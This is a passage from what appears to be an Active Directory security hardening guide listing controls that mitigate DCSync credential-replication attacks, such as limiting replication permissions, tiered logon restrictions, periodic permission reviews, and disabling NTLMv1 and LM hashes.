The list action of the DCSync method can query all accounts that have been granted the DS-Replication-Get-Changes, DS-Replication-Get-Changes-All and DS-Replication-Get-Changes-In-Filtered-Set permission
The following security controls should be implemented to mitigate DCSync:
Minimise the number of user objects with DCSync permissions. By default, members of the Enterprise Admins, Domain Admins and Administrators security group have permissions to perform DCSync. Therefore, the number of user objects in these security groups should be minimised and direct assignment of these permissions to other user objects should be limited.
Ensure user objects that are configured with a SPN do not have DCSync permissions. This is to reduce the risk of a user object with a SPN being compromised as the result of a successful Kerberoasting and then being used by malicious actors to execute DCSync.
Ensure user objects with DCSync permissions cannot log on to unprivileged operating environments. Lower privileged operating environments, such as those used by internet-facing systems and user workstations, are often exploited by malicious actors to gain initial access and to pivot to higher privileged operating environments. Preventing privileged user objects from logging into these lower privileged operating environments reduces the risk of these user objects being compromised and subsequently used to pivot to higher privileged operating environments. This is a key protection in the tiered administrative model.
Review user objects with DCSync permissions every 12 months to determine if these permissions are still required. Regularly reviewing permissions, and removing them when no longer required, reduces the attack surface that malicious actors can target.
Disable the NTLMv1 protocol. This prevents NTLM password hashes from being retrieved by DCSync and then being either cracked or used as part of PtH.
Ensure LAN Manager (LM) password hashes are not used. This can be enforced by requiring and updating passwords to be a minimum of 15-characters. LM only supports passwords up to 14-characters in length and passwords that are 15-characters or more will not be stored as a LM hash. LM password hashes can be quickly cracked to reveal cleartext passwords and are not considered secure.
